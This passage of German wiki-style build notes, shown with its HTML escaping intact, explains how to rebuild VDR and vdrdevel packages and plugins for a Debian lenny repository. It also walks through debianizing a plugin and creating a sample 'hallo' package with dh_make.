 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 cp -v vdrdevel*.deb vdr_1.* /mirror/debian.oppserver.net/incoming/vdrdevel/lenny/&lt;br /&gt;
&lt;br /&gt;
Nun die Revision fuer die Plugins anpassen:&lt;br /&gt;
 expr `cat /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel/revision` + 1 &amp;gt; /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel/revision&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDRDEVEL (1.7.x) NEU&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers make-special-vdr&lt;br /&gt;
 sudo aptitude install make-special-vdr&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 sudo apt-get source vdr&lt;br /&gt;
 sudo apt-get build-dep vdr&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 rm -fv *.diff.gz &amp;amp;&amp;amp; rm -fv *.dsc&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
 PATCHVARIANT=multipatch SPECIAL_VDR_SUFFIX=devel dpkg-buildpackage -rfakeroot -us -uc -sa -tc -Rmake-special-vdr&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel&lt;br /&gt;
 cp -v vdrdevel*.deb vdr_1.* /mirror/debian.oppserver.net/incoming/vdrdevel/lenny/&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDROLDSTABLE-PLUGINS (Beispiel vdr-plugin-xineliboutput)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdroldstable /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Als erstes das neu erstellte vdr-dev installieren:&lt;br /&gt;
 sudo aptitude purge vdr-dev vdrdevel-dev&lt;br /&gt;
 sudo aptitude install vdr-dev&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdroldstable-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
 mkdir /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get source vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get build-dep vdr-plugin-xineliboutput&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 mv -f *.diff.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/originale/&lt;br /&gt;
 cp -rf * /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/originale/&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
Die changelog in debian editieren.&lt;br /&gt;
&lt;br /&gt;
 dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
&lt;br /&gt;
 cd ..&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /mirror/debian.oppserver.net/incoming/vdroldstable/lenny/&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/opp/&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdroldstable-plugins/&lt;br /&gt;
 rm -r vdr-plugin-xineliboutput&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdroldstable /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Oder am besten per Script ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDR-PLUGINS (Beispiel vdr-plugin-xineliboutput)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
&lt;br /&gt;
Als erstes das neu erstellte vdr-dev installieren:&lt;br /&gt;
 sudo aptitude purge vdr-dev vdrdevel-dev make-special-vdr&lt;br /&gt;
 sudo aptitude install vdr-dev make-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdr-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
 mkdir /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get source vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get build-dep vdr-plugin-xineliboutput&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 mv -f *.diff.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/originale/&lt;br /&gt;
 cp -rf * /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/originale/&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
Die changelog in debian editieren.&lt;br /&gt;
&lt;br /&gt;
 PATCHVARIANT=multipatch dpkg-buildpackage -rfakeroot -us -uc -sa -tc&lt;br /&gt;
&lt;br /&gt;
 cd ..&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /mirror/debian.oppserver.net/incoming/vdr/lenny/&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/opp/&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdr-plugins/&lt;br /&gt;
 rm -r vdr-plugin-xineliboutput&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdr /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Oder am besten per Script ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VDRDEVEL-PLUGINS (Beispiel vdr-plugin-xineliboutput)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als User (opp) ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
 sudo aptitude purge dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
 sudo aptitude install dvb-s2api-liplianin-source dvb-s2api-liplianin-headers&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -rf /etc/apt/sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.vdrdevel-build /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Als erstes das neu erstellte vdr-dev und vdrdevel-dev installieren:&lt;br /&gt;
 sudo aptitude purge vdr-dev vdrdevel-dev make-special-vdr&lt;br /&gt;
 sudo aptitude install vdr-dev vdrdevel-dev make-special-vdr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get source vdr-plugin-xineliboutput&lt;br /&gt;
 sudo apt-get build-dep vdr-plugin-xineliboutput&lt;br /&gt;
 sudo chown -R opp:users *&lt;br /&gt;
 mv -f *.diff.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/originale/&lt;br /&gt;
 cp -rf * /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/originale/&lt;br /&gt;
 cd vdr-*&lt;br /&gt;
&lt;br /&gt;
Die changelog in debian editieren.&lt;br /&gt;
&lt;br /&gt;
 PATCHVARIANT=multipatch SPECIAL_VDR_SUFFIX=devel dpkg-buildpackage -rfakeroot -us -uc -sa -tc -Rmake-special-vdr&lt;br /&gt;
&lt;br /&gt;
 cd ..&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /mirror/debian.oppserver.net/incoming/vdrdevel/lenny/&lt;br /&gt;
 cp -v *.deb *.changes *.diff.gz *.orig.tar.gz *.dsc /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/opp/&lt;br /&gt;
&lt;br /&gt;
 cd /linux/repository/dists/lenny/$(uname -m)/opp-vdr/vdrdevel-plugins/&lt;br /&gt;
 rm -r vdr-plugin-xineliboutput&lt;br /&gt;
&lt;br /&gt;
 cd /etc/apt&lt;br /&gt;
 sudo rm -r sources.list&lt;br /&gt;
 sudo cp /etc/apt/sources.list.orig.vdrdevel /etc/apt/sources.list&lt;br /&gt;
 sudo aptitude update&lt;br /&gt;
&lt;br /&gt;
Oder am besten per Script ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN AUS DER SOURCE (VDR PAKETE)&lt;br /&gt;
&lt;br /&gt;
Paket entpacken und ins Verzeichnis wechseln.&lt;br /&gt;
 debianize-vdrplugin&lt;br /&gt;
Dies erstellt den debian/ ordner mit folgenden Dateien die bearbeitet werden muessen:&lt;br /&gt;
&lt;br /&gt;
1. README.Debian&lt;br /&gt;
&lt;br /&gt;
Gibt es irgendwelche Hinweise, die speziell das Debian-Paket betreffen? Musstest du Aenderungen vornehmen, damit das Plug-in unter Debian funktioniert? Solche und aehnliche Informationen gehoeren, moeglichst in Englisch, in diese Datei. Hast du keine derartigen Anmerkungen, kannst du die README.Debian loeschen.&lt;br /&gt;
&lt;br /&gt;
Im Fall des Beep-Plug-ins kann die Datei geloescht werden.&lt;br /&gt;
&lt;br /&gt;
2. changelog (dh_installchangelog)&lt;br /&gt;
&lt;br /&gt;
Evtl. musst du hier deinen Namen und die Email-Adresse als Maintainer eintragen. Neben &amp;quot;Initial Release&amp;quot; sind fuer die erste Version eines Paketes meist keine weiteren Informationen erforderlich.&lt;br /&gt;
&lt;br /&gt;
3. control&lt;br /&gt;
&lt;br /&gt;
Auch hier musst du Name und Email-Adresse ueberpruefen. Sollte das Paket spezielle Bibliotheken benoetigen, musst du die enstprechenden lib*-dev-Pakte bei den Build-Depends im Source-Abschnitt eintragen. Diese Bibliotheken muessen im Feld Depends NICHT wiederholt werden. Beim Erzeugen des Paketes wird ${shlibs:Depends} automatisch durch die Liste der verwendeten Bibliotheken ersetzt (dh_shlibdeps). Die Zeilen mit den Abhaengigkeiten duerfen nicht umbrochen werden!&lt;br /&gt;
&lt;br /&gt;
Im Feld Description fehlt noch eine kurze und eine etwas ausfuehrlichere Beschreibung in Englisch. Oftmals kannst du diese aus der README uebernehmen.&lt;br /&gt;
&lt;br /&gt;
Das beep-Plug-in besitzt keine speziellen Abhaengigkeiten. Das Description-Feld koennte so aussehen:&lt;br /&gt;
&lt;br /&gt;
Description: VDR-plugin to give acoustic feedback for selected events&lt;br /&gt;
 This Plugin notifies the user with a beep from the internal mainboard speaker,&lt;br /&gt;
 when selected VDR events occur.&lt;br /&gt;
&lt;br /&gt;
4. copyright&lt;br /&gt;
&lt;br /&gt;
Ehre, wem Ehre gebuehrt! Hier musst du eintragen, von wo du das Plug-in heruntergeladen hast und wer der Autor ist. Auch solltest du pruefen, ob der Verweis auf die GPL2 auch wirklich zutrifft und das Plug-in nicht etwa einer ganz anderen Lizenz unterliegt.&lt;br /&gt;
&lt;br /&gt;
Fuer das beep-Plug-in saehe das so aus:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It was downloaded from http://deltab.de/vdr/beep.html &lt;br /&gt;
&lt;br /&gt;
Upstream Author: Andreas Brachold &amp;lt;vdr04 at deltab de&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. docs (dh_installdocs)&lt;br /&gt;
&lt;br /&gt;
Hier werden alle Dateien aufgelistet, welche in die Rubrik Dokumentation fallen. Das ist fast immer zumindest die README-Datei. Die hier aufgefuehrten Dateien werden dann nach /usr/share/doc/ installiert.&lt;br /&gt;
&lt;br /&gt;
Das Beep-Plug-in braucht nur die README.&lt;br /&gt;
&lt;br /&gt;
6. install (dh_install)&lt;br /&gt;
&lt;br /&gt;
Oftmals werden die zu installierenden Dateien in debian/rules kopiert. Eleganter ist die Verwendung von dh_install, welches die in debian/install aufgefuehrten Dateien in die ebenfalls dort angegebenen Zielverzeichnisse kopiert. Bei einem VDR-Plug-in ist dies auf jeden Fall die lib-Datei des Plug-ins. Aber auch eventuell benoetigte conf- Dateien, Grafiken usw. koennen so installiert werden. Der File System Hierarchie Standard FHS ist die Basis fuer die Wahl der Zielverzeichnisse. Oftmals reicht ein Blick in ein anderes Plug-in, wenn du dir nicht sicher bist. Hier ein paar wichtige Regel, die du beachten musst:&lt;br /&gt;
&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Plug-in-Konfigurationsdateien gehoeren nach /etc/vdr/plugins, jedoch nur statische conf-Files - also solche, die ausschliesslich manuell durch den Administrator geaendert werden. /etc ist read-only!&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Statische Daten-Dateien, Grafiken usw. gehoeren nach /usr/share/&amp;lt;paketname&amp;gt;. Auch dieses Verzeichnis ist read-only!&lt;br /&gt;
    *&lt;br /&gt;
&lt;br /&gt;
      Sich veraendernde, variable Dateien gehoeren nach /var/lib/vdr/plugins.&lt;br /&gt;
&lt;br /&gt;
vdr-plugin-beep muss nur die Plug-in-Bibliothek selbst installieren.&lt;br /&gt;
&lt;br /&gt;
7. links (dh_links)&lt;br /&gt;
&lt;br /&gt;
Oftmals erwarten Plug-ins bestimmte Dateien in /var/lib/vdr/plugins, die (wie beispielsweise Grafiken) nach /usr/share/&amp;lt;paketname&amp;gt; installiert wurden. In solch einem Fall kannst du in /var/lib/vdr/plugins Symlinks anlegen, welche auf die entsprechenden Dateien oder Verzeichnisse verweisen.&lt;br /&gt;
&lt;br /&gt;
In debian/links musst du diese Symlinks lediglich auflisten, dh_links uebernimmt dann den Rest. Werden keine Symlinks benoetigt, kannst du die Datei loeschen. (So auch beim Beep-Plug-in)&lt;br /&gt;
&lt;br /&gt;
8. postinst|postrm|preinst|prerm.ex&lt;br /&gt;
&lt;br /&gt;
Diese Dateien sind nur Beispiele (daher *.ex) und dienen dazu, bei der Installation bestimmte Aufgaben auszufuehren (z.B. bestehende Dateien zu verschieben). Meist werden sie nicht verwendet und du kannst sie, wie auch alle anderen nicht benoetigten Dateien, loeschen.&lt;br /&gt;
&lt;br /&gt;
Fuer das Beep-Plug-in sind diese Dateien nicht notwendig&lt;br /&gt;
&lt;br /&gt;
9. rules&lt;br /&gt;
&lt;br /&gt;
debian/rules ist ein Makefile. In ihm ist definiert, was beim Erzeugen des Paketes zu tun ist. Das umfasst alles vom Compilieren bis zum Erzeugen des Patchlevel-Feldes. Das vorgefertigte rules-File ist eigens fuer VDR-Plug-ins so gestaltet, dass in der Regel keine Aenderungen daran noetig sind.&lt;br /&gt;
&lt;br /&gt;
Unter Umstaenden muss lediglich die Zeile mit dh_installchangelogs angepasst werden, welche das changelog der Upstream-Version installiert:&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
# Build architecture-dependent files&lt;br /&gt;
binary-arch: build install&lt;br /&gt;
    dh_testdir&lt;br /&gt;
&lt;br /&gt;
    dh_installchangelogs HISTORY&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Meistens heisst diese Datei jedoch HISTORY und debian/rules muss nicht modifiziert werden.&lt;br /&gt;
&lt;br /&gt;
Auch beim Beep-Plug-in kann rules unveraendert bleiben&lt;br /&gt;
&lt;br /&gt;
9. watch.ex&lt;br /&gt;
&lt;br /&gt;
Diese Datei beschreibt eine Art Filter, den das Tool uscan benutzt, um nach neuen Upstream-Versionen in Debian-Paketen zu suchen. Hilfe dazu bietet man uscan. Wenn du diese Datei verwendest, musst du natuerlich die Endung ex entfernen.&lt;br /&gt;
&lt;br /&gt;
Fuer das Beep-Plug-in sieht debian/watch im einfachsten Fall so aus:&lt;br /&gt;
&lt;br /&gt;
version=2&lt;br /&gt;
http://deltab.de/vdr/beep.html vdr-beep-(.*).tgz&lt;br /&gt;
&lt;br /&gt;
danach ein dpkg-buildpackage -rfakeroot -us -uc -sa -tc und alles ist fertig&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DEBIAN PACKETE AUS SOURCE&lt;br /&gt;
&lt;br /&gt;
Notwendige Pakete&lt;br /&gt;
&lt;br /&gt;
    * dpkg-deb&lt;br /&gt;
    * dh-make&lt;br /&gt;
    * gcc&lt;br /&gt;
    * libc6-dev&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vorbereitungen&lt;br /&gt;
&lt;br /&gt;
Zunaechst sollte ein Arbeitsverzeichnis erstellt werden (am besten mit dem Namen des Paketes, ohne Versionsnummer).&lt;br /&gt;
Hier entpacken wir den Orginal-Source unseres Paketes:&lt;br /&gt;
&lt;br /&gt;
      mkdir hallo; cd hallo&lt;br /&gt;
          tar xvfz ~/hallo-0.1.tar.gz&lt;br /&gt;
      cd hallo-0.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hinweis: Es ist wichtig, dass das Verzeichnis in dem der Source des Entpackten Paktes liegt, namentlich die Paket-Version (upstream-version) enthaelt (z.B. hallo-0.1).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Debianisieren&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nun koennen wir mit Hilfe des Pakets dh_make den Quellbaum fuer die Erstellung eines Debian-Pakets vorbereiten.&lt;br /&gt;
&lt;br /&gt;
     dh_make -e marcus@antbear.org -f ~/hallo-0.1.tar.gz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Option -e gibt dabei die E-Mail-Adresse des Maintainers an. Die Option -f die Lage des Orginal-Source (upstream) im Filesystem an.&lt;br /&gt;
dh_make wird anschliessend erfragen, um welchen Typ es sich bei dem zu erstellenden Paket handelt. Die Moeglichen Antworten lauten:&lt;br /&gt;
&lt;br /&gt;
    * single binary&lt;br /&gt;
    * multiple binary&lt;br /&gt;
    * library&lt;br /&gt;
&lt;br /&gt;
Wir waehlen hier natuerlich single binary, da es sich bei hallo um ein einfaches Programm handelt.&lt;br /&gt;
Abschliessend wird uns eine Uebersicht, des erstellten Paket-Grundgeruests angezeigt.&lt;br /&gt;
&lt;br /&gt;
Im uebergeordneten Verzeichnis befindet sich nun neben dem Orginal Source-Archiv des Pakets, ein neues Archiv, das dazu gedacht ist, in Kombination mit dem erzeugten Debian-Paket, auf die Debian-Server hochgeladen zu werden. Der Name des Archives lautet: hallo_0.1.orig.tar.gz&lt;br /&gt;
Das debian-Unterverzeichnis&lt;br /&gt;
&lt;br /&gt;
Alle zur Erstellung des Debian-Pakets notwendigen Dateien befinden sich im debian-Unterverzeichnis unseres Quellbaums.&lt;br /&gt;
&lt;br /&gt;
Hier ein Ueberblick der generierten Dateien:&lt;br /&gt;
README.Debian 	README-Datei die spaeter im /usr/share/doc/hallo Verzeichnis abgelegt wird. Hier sollten Debian-spezifische Anpassungen oder Kompilierungsoptionen oder Abweichungen von der upstream-Version dokumentiert werden.&lt;br /&gt;
changelog 	Enthaelt die Aenderungshistory des Debian-Pakets. Achtung die Datei muss in einem speziellen Format vorliegen.&lt;br /&gt;
conffiles.ex 	Enthaelt eine Liste von Konfigurationsdateien, die dpkg beachten sollten.&lt;br /&gt;
control 	Enthaelt die Informationen, die mit dpkg --info ausgegeben werden koennen. Hier muss auch die Beschreibung des Pakets angepasst werden.&lt;br /&gt;
copyright 	Hier sollte die Website oder ftp-URL angegeben werden, von wo das Orginal-Paket bezogen werden kann. Autoren und weitere upstream Copyright-Hinweise muessen hier eingetragen werden.&lt;br /&gt;
cron.d.ex 	Beispiel-crontab (optional)&lt;br /&gt;
dirs 	Enthaelt die Verzeichnisse, die bei Bedarf von dpkg waehrend der Installation erzeugt werden sollen. Im einfachsten Fall muss hier nichts geaendert werden, oder einfach nur das Installationsverzeichnis eingetragen werden (z.B. /usr/bin).&lt;br /&gt;
docs 	List von Dateien, die aus den Orginalquellen nach /usr/share/doc/paket uebernommen werden sollen.&lt;br /&gt;
emacsen-install.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
emacsen-remove.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
emacsen-startup.ex 	Emacs-spezifisch (optional)&lt;br /&gt;
ex.doc-base.package 	Fuer Pakete mit eigener HTML-Dokumentation. Wird benoetigt, um die Paket-Dokumentation bei doc-base zu registrieren (damit sie mittels dhelp(1) oder dwww(1) gefunden werden kann). (optional)&lt;br /&gt;
init.d.ex 	Fuer Pakete die einen Daemon enthalten und von init gestartet werden sollten (Initskript). (optional)&lt;br /&gt;
manpage.1.ex 	Skellet einer Manpage (troff(1)). (optional)&lt;br /&gt;
manpage.sgml.ex 	Skellet einer Manpage im SGML-Format (Docboc). (optional)&lt;br /&gt;
menu.ex 	Einstellungen fuer das Debian-Menu system. Ermoeglich es auf einfach Art einen Menueeintrag fuer das Paket zu erstellen, der dann in allen X11-Umgebungen sichtbar ist.&lt;br /&gt;
postinst.ex 	Skript, das nach der Installation ausgefuehrt werden soll&lt;br /&gt;
postrm.ex 	Skript, das nach dem Entfernen des Pakets ausgefuehrt werden soll.&lt;br /&gt;
preinst.ex 	Skript, das vor der Installation ausgefuehrt werden soll.&lt;br /&gt;
prerm.ex 	Sript, das vor dem Entfernen ausgefuehrt werden soll.&lt;br /&gt;
rules 	Enthaelt die Regeln die dpkg-buildpackage auswertet, um das Paket zu erstellen.&lt;br /&gt;
watch.ex 	Siehe uscan(1) und uupdate(1). (optional)&lt;br /&gt;
&lt;br /&gt;
Da die Semantik, wann welche Paket-Skripte ausgefuehrt werden, recht komplex ist, verweise ich an dieser Stelle auf die &amp;quot;Debian Developers Reference&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Die Endung .ex steht fuer Example. Soll eine der Aufgefuehrten Dateien verwendet werden, so ist sie umzubennen (ohne .ex).&lt;br /&gt;
Anpassungen&lt;br /&gt;
&lt;br /&gt;
Im Folgenden werden wir einige der oben aufgefuehrten Dateien anpassen, um aus dem hallo-Paket ein Debian-Paket zu erstellen.&lt;br /&gt;
Ein Wort zu Makefiles&lt;br /&gt;
&lt;br /&gt;
Da die Debian-Policy genauch vorschreibt, wo die Vielzahl von Dateien aus denen sich ein Paket zusammensetzt, im Filesystem zu installieren sind, muessen bei manchen Paketen Anpassungen am Makefile vorgenommen werden. In der Regel sind das Pakete, die mit normalen Makefiles ausgeliefert werden.&lt;br /&gt;
&lt;br /&gt;
Pakete die Automake/Autoconf einsetzen, muessen meist nicht angepasst werden, da hier ueber die Option --prefix=pfad des configure-Skripts, der Basispfad fuer die Installation vorgegeben werden kann. Entgegen dem GNU-&amp;quot;Standard&amp;quot;, Programmpakete nach /usr/local zu installieren, muessen Debian-Pakete, die ausfuehrbare Programme enthalten, nach /usr/bin installiert werden.&lt;br /&gt;
Auf jeden Fall muss sichergestellt werden, dass das resultierende Paket, den Debian-Standards entspricht.&lt;br /&gt;
Das control-File&lt;br /&gt;
&lt;br /&gt;
Das control-File enthaelt verschiedene Informationen, die dpkg und apt benoetigen, um das Paket zu verwalten:&lt;br /&gt;
&lt;br /&gt;
     Source: hallo&lt;br /&gt;
     Section: unknown&lt;br /&gt;
     Priority: optional&lt;br /&gt;
     Maintainer: Marcus Geiger &lt;br /&gt;
     Build-Depends: debhelper (&amp;gt;&amp;gt; 3.0.0)&lt;br /&gt;
     Standards-Version: 3.5.2&lt;br /&gt;
&lt;br /&gt;
     Package: hallo&lt;br /&gt;
     Architecture: any&lt;br /&gt;
     Depends: ${shlibs:Depends}&lt;br /&gt;
     Description: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der obere Abschnitt enthaelt die Informationen fuer das Source-Paket, der Untere fuer das Binaerpaket. Die Semantik der einzelnen Felder ist wahrscheinlich jedem Debianer bekannt.&lt;br /&gt;
Die erste Zeile der Description enthaelt eine Kurzbeschreibung des Pakets. Eine Ausfuehrliche Beschreibung folgt unmittelbar in der naechsten Zeile. Jede Zeile muss dabei mit Leerzeichen eingerueckt werden. Paragraphen koennen mit einem Punkt erzeugt werden.&lt;br /&gt;
&lt;br /&gt;
Die Zeile Section: ... dient der Kategorisierung des Pakets (z.B. fuer apt-Frontends).&lt;br /&gt;
&lt;br /&gt;
Die Zeile Depends: ${shlibs:Depends} wird vom waehrend der Erstellung des Pakets automatisch substituiert (duch die Liste der Bibliotheken, die zum Paket (dynamisch) gelinkt wurden).&lt;br /&gt;
&lt;br /&gt;
Weiter wichtige Felder die oft eingefuegt werden muessen, sind:&lt;br /&gt;
&lt;br /&gt;
    * Recommends&lt;br /&gt;
    * Suggests&lt;br /&gt;
    * Pre-Depends&lt;br /&gt;
    * Conflicts&lt;br /&gt;
    * Provides&lt;br /&gt;
    * Replaces&lt;br /&gt;
&lt;br /&gt;
Einzelheiten sind der &amp;quot;Debian Developers Reference&amp;quot; zu entnehmen.&lt;br /&gt;
&lt;br /&gt;
Wir aendern nun unser control-File folgendermassen ab:&lt;br /&gt;
&lt;br /&gt;
     Source: hallo&lt;br /&gt;
     Section: misc&lt;br /&gt;
     Priority: optional&lt;br /&gt;
     Maintainer: Marcus Geiger &lt;br /&gt;
     Build-Depends: debhelper (&amp;gt;&amp;gt; 3.0.0)&lt;br /&gt;
     Standards-Version: 3.5.2&lt;br /&gt;
&lt;br /&gt;
     Package: hallo&lt;br /&gt;
     Architecture: any&lt;br /&gt;
     Depends: ${shlibs:Depends}&lt;br /&gt;
     Suggests: hello&lt;br /&gt;
     Description: A package to learn howto create debian packages.&lt;br /&gt;
      A long description.&lt;br /&gt;
&lt;br /&gt;
      A new paragraph. Also take a look at the hello package, because&lt;br /&gt;
      it&#039;s more full-featured.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das copyright-File&lt;br /&gt;
&lt;br /&gt;
Hier sollen alle upstream Copyright-Hinweise eingefuegt werden. Auch sollte hier die Quelle angegeben werden, von wo das Orginalpaket bezogen werden kann.&lt;br /&gt;
&lt;br /&gt;
Hier die Anpassungen im Rahmen des hallo-Pakets:&lt;br /&gt;
&lt;br /&gt;
     This package was debianized by Marcus Geiger  on&lt;br /&gt;
     Sun, 29 Jul 2001 18:48:42 +0200.&lt;br /&gt;
&lt;br /&gt;
     It was downloaded from http://www.antbear.org&lt;br /&gt;
&lt;br /&gt;
     Upstream Author(s): Marcus Geiger &lt;br /&gt;
&lt;br /&gt;
     Copyright:&lt;br /&gt;
&lt;br /&gt;
     blah&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Das changelog-File&lt;br /&gt;
&lt;br /&gt;
Das changelog-File enthaelt die Aenderungshistorie des Debian-Pakets. Das genaue Format kann dem &amp;quot;Packaging Manual&amp;quot; (section 3.2.3) entnommen werden.&lt;br /&gt;
&lt;br /&gt;
Wir aendern es folgendermassen ab:&lt;br /&gt;
&lt;br /&gt;
     hallo (0.1-1) unstable; urgency=low&lt;br /&gt;
&lt;br /&gt;
